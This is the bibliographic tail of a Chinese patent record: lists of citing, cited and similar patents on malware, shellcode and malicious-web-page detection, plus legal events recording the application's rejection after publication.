CN110866256A (zh) * 2019-11-12 2020-03-06 深信服科技股份有限公司 一种宏代码检测方法、装置、设备及存储介质
CN111797393A (zh) * 2020-06-23 2020-10-20 哈尔滨安天科技集团股份有限公司 基于gpu恶意挖矿行为的检测方法与装置
WO2021026938A1 (zh) * 2019-08-15 2021-02-18 奇安信安全技术(珠海)有限公司 shellcode的检测方法及装置
CN112395609A (zh) * 2019-08-15 2021-02-23 奇安信安全技术(珠海)有限公司 应用层shellcode的检测方法及装置
CN112395610A (zh) * 2019-08-15 2021-02-23 奇安信安全技术(珠海)有限公司 内核层shellcode的检测方法及装置
CN114095281A (zh) * 2022-01-20 2022-02-25 南京聚铭网络科技有限公司 基于主机的网页攻击检测方法、装置、设备及存储介质

Citations (9)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN1818822A (zh) * 2005-02-07 2006-08-16 福建东方微点信息安全有限责任公司 缓冲区溢出攻击的检测方法
CN101005497A (zh) * 2006-11-27 2007-07-25 科博技术有限公司 一种阻止恶意代码入侵的系统及方法
US20080016339A1 (en) * 2006-06-29 2008-01-17 Jayant Shukla Application Sandbox to Detect, Remove, and Prevent Malware
CN101159000A (zh) * 2007-10-17 2008-04-09 深圳市迅雷网络技术有限公司 一种网页安全信息检测系统及方法
CN101304320A (zh) * 2008-06-16 2008-11-12 华为技术有限公司 一种地址处理方法和装置
CN101315655A (zh) * 2008-07-01 2008-12-03 华为技术有限公司 一种防御缓冲区溢出攻击方法和装置
CN101388057A (zh) * 2008-10-07 2009-03-18 珠海金山软件股份有限公司 一种网页防挂马的方法
CN101408917A (zh) * 2008-10-22 2009-04-15 厦门市美亚柏科资讯科技有限公司 应用程序行为合法性检测方法及系统
CN101692267A (zh) * 2009-09-15 2010-04-07 北京大学 一种大规模恶意网页检测方法及系统

Patent Citations (9)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN1818822A (zh) * 2005-02-07 2006-08-16 福建东方微点信息安全有限责任公司 缓冲区溢出攻击的检测方法
US20080016339A1 (en) * 2006-06-29 2008-01-17 Jayant Shukla Application Sandbox to Detect, Remove, and Prevent Malware
CN101005497A (zh) * 2006-11-27 2007-07-25 科博技术有限公司 一种阻止恶意代码入侵的系统及方法
CN101159000A (zh) * 2007-10-17 2008-04-09 深圳市迅雷网络技术有限公司 一种网页安全信息检测系统及方法
CN101304320A (zh) * 2008-06-16 2008-11-12 华为技术有限公司 一种地址处理方法和装置
CN101315655A (zh) * 2008-07-01 2008-12-03 华为技术有限公司 一种防御缓冲区溢出攻击方法和装置
CN101388057A (zh) * 2008-10-07 2009-03-18 珠海金山软件股份有限公司 一种网页防挂马的方法
CN101408917A (zh) * 2008-10-22 2009-04-15 厦门市美亚柏科资讯科技有限公司 应用程序行为合法性检测方法及系统
CN101692267A (zh) * 2009-09-15 2010-04-07 北京大学 一种大规模恶意网页检测方法及系统

Cited By (44)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN103927191B (zh) * 2013-01-11 2017-05-24 北京阿里巴巴云计算技术有限公司 函数调用的资源配置方法和装置
WO2014206070A1 (en) * 2013-06-27 2014-12-31 Tencent Technology (Shenzhen) Company Limited Method, system and server for monitoring and protecting a browser from malicious websites
CN103617396A (zh) * 2013-11-29 2014-03-05 杭州华三通信技术有限公司 一种漏洞利用的检测方法和系统
CN103617396B (zh) * 2013-11-29 2016-11-02 杭州华三通信技术有限公司 一种漏洞利用的检测方法和系统
CN103679032A (zh) * 2013-12-13 2014-03-26 北京奇虎科技有限公司 防御恶意软件的方法和装置
CN103679032B (zh) * 2013-12-13 2017-05-17 北京奇虎科技有限公司 防御恶意软件的方法和装置
CN103714292A (zh) * 2014-01-15 2014-04-09 四川师范大学 一种漏洞利用代码的检测方法
CN103714292B (zh) * 2014-01-15 2016-10-05 四川师范大学 一种漏洞利用代码的检测方法
CN103885808A (zh) * 2014-04-08 2014-06-25 北京奇虎科技有限公司 热补丁处理方法及装置
CN106464513A (zh) * 2014-06-27 2017-02-22 迈克菲股份有限公司 用于抑制恶意调用的系统和方法
CN106464513B (zh) * 2014-06-27 2020-08-21 迈克菲有限公司 用于抑制恶意调用的系统和方法
CN104268473A (zh) * 2014-09-23 2015-01-07 龙芯中科技术有限公司 应用程序检测方法和装置
CN105828189A (zh) * 2015-01-05 2016-08-03 任子行网络技术股份有限公司 一种多维度检测违规音视频节目的方法
CN105828189B (zh) * 2015-01-05 2018-10-23 任子行网络技术股份有限公司 一种多维度检测违规音视频节目的方法
WO2016206565A1 (zh) * 2015-06-26 2016-12-29 阿里巴巴集团控股有限公司 恶意程序检测方法及装置
CN106709352B (zh) * 2015-11-12 2019-09-24 阿里巴巴集团控股有限公司 样本处理方法、装置及系统
CN106709352A (zh) * 2015-11-12 2017-05-24 阿里巴巴集团控股有限公司 样本处理方法、装置及系统
CN105488398A (zh) * 2015-12-04 2016-04-13 北京航空航天大学 Web应用程序行为提取方法和恶意行为检测方法
CN105488398B (zh) * 2015-12-04 2018-06-15 北京航空航天大学 Web应用程序行为提取方法和恶意行为检测方法
CN105868632A (zh) * 2016-04-20 2016-08-17 北京金山安全软件有限公司 一种拦截释放dhcp的方法及装置
CN105868632B (zh) * 2016-04-20 2018-11-16 北京金山安全软件有限公司 一种拦截释放dhcp的方法及装置
CN107451470A (zh) * 2016-05-30 2017-12-08 阿里巴巴集团控股有限公司 页面安全检测方法、装置及设备
CN106127041A (zh) * 2016-07-04 2016-11-16 北京金山安全软件有限公司 防止剪贴板数据被监听的方法、装置及终端设备
CN107704376B (zh) * 2016-08-11 2023-07-07 福建省天奕网络科技有限公司 游戏自动化测试方法及其系统
CN107704376A (zh) * 2016-08-11 2018-02-16 福建省天奕网络科技有限公司 游戏自动化测试方法及其系统
CN106372507A (zh) * 2016-08-30 2017-02-01 北京奇虎科技有限公司 恶意文档的检测方法及装置
CN106529297B (zh) * 2016-11-22 2019-08-06 北京安云世纪科技有限公司 获取应用程序状态信息的方法及装置
CN106529297A (zh) * 2016-11-22 2017-03-22 北京奇虎科技有限公司 获取应用程序状态信息的方法及装置
CN107528860A (zh) * 2017-10-12 2017-12-29 中国科学院计算机网络信息中心 网络安全测试方法、系统及存储介质
CN109684826B (zh) * 2018-01-15 2021-01-29 北京微步在线科技有限公司 应用程序沙箱反逃逸方法和电子设备
CN109684826A (zh) * 2018-01-15 2019-04-26 北京微步在线科技有限公司 应用程序沙箱反逃逸方法和电子设备
CN110647743A (zh) * 2018-06-26 2020-01-03 北京安天网络安全技术有限公司 一种恶意行为的鉴定方法、装置和存储设备
CN109739582B (zh) * 2018-12-12 2022-05-17 北京字节跳动网络技术有限公司 函数调用方法、装置、电子设备和计算机可读存储介质
CN109739582A (zh) * 2018-12-12 2019-05-10 北京字节跳动网络技术有限公司 函数调用方法、装置、电子设备和计算机可读存储介质
WO2021026938A1 (zh) * 2019-08-15 2021-02-18 奇安信安全技术(珠海)有限公司 shellcode的检测方法及装置
CN112395609A (zh) * 2019-08-15 2021-02-23 奇安信安全技术(珠海)有限公司 应用层shellcode的检测方法及装置
CN112395610A (zh) * 2019-08-15 2021-02-23 奇安信安全技术(珠海)有限公司 内核层shellcode的检测方法及装置
CN113646763A (zh) * 2019-08-15 2021-11-12 奇安信安全技术(珠海)有限公司 shellcode的检测方法及装置
CN113646763B (zh) * 2019-08-15 2024-02-02 奇安信安全技术(珠海)有限公司 shellcode的检测方法及装置
CN112395610B (zh) * 2019-08-15 2024-04-16 奇安信安全技术(珠海)有限公司 内核层shellcode的检测方法及装置
CN110866256A (zh) * 2019-11-12 2020-03-06 深信服科技股份有限公司 一种宏代码检测方法、装置、设备及存储介质
CN111797393B (zh) * 2020-06-23 2023-05-23 安天科技集团股份有限公司 基于gpu恶意挖矿行为的检测方法与装置
CN111797393A (zh) * 2020-06-23 2020-10-20 哈尔滨安天科技集团股份有限公司 基于gpu恶意挖矿行为的检测方法与装置
CN114095281A (zh) * 2022-01-20 2022-02-25 南京聚铭网络科技有限公司 基于主机的网页攻击检测方法、装置、设备及存储介质

Similar Documents

Publication Publication Date Title
CN102737188A (zh) 检测恶意网页的方法及装置
US10291634B2 (en) System and method for determining summary events of an attack
EP3123311B1 (en) Malicious code protection for computer systems based on process modification
EP3326100B1 (en) Systems and methods for tracking malicious behavior across multiple software entities
US8510838B1 (en) Malware protection using file input/output virtualization
US8661541B2 (en) Detecting user-mode rootkits
US11822654B2 (en) System and method for runtime detection, analysis and signature determination of obfuscated malicious code
US20020178375A1 (en) Method and system for protecting against malicious mobile code
CN105760773A (zh) 通过易受攻击的应用控制打开文件的系统和方法
KR20140033349A (ko) 가상 머신 모니터 기반 안티 악성 소프트웨어 보안 시스템 및 방법
CN107330328B (zh) 防御病毒攻击的方法、装置及服务器
Wu et al. An overview of mobile malware and solutions
US9990493B2 (en) Data processing system security device and security method
US11847222B2 (en) System and method for preventing unwanted bundled software installation
Lobo et al. Windows rootkits: Attacks and countermeasures
Whittaker et al. Neutralizing windows-based malicious mobile code
EP3040895A1 (en) System and method for protecting a device against return-oriented programming attacks
CA2691129A1 (en) Activex object method and computer program system for protecting against crimeware key stroke loggers
RU92217U1 (ru) Аппаратный антивирус
US10452817B1 (en) File input/output redirection in an API-proxy-based application emulator
RU85249U1 (ru) Аппаратный антивирус
Karwayun et al. War of Control Hijacking: Attacks and Defenses
RU91206U1 (ru) Аппаратный антивирус
Pan et al. Weapons of Targeted Attack
Ding et al. ModuleGuard: A gatekeeper for dynamic module loading against malware

Legal Events

Date Code Title Description
C06 Publication
PB01 Publication
C10 Entry into substantive examination
SE01 Entry into force of request for substantive examination
RJ01 Rejection of invention patent application after publication

Application publication date: 20121017

RJ01 Rejection of invention patent application after publication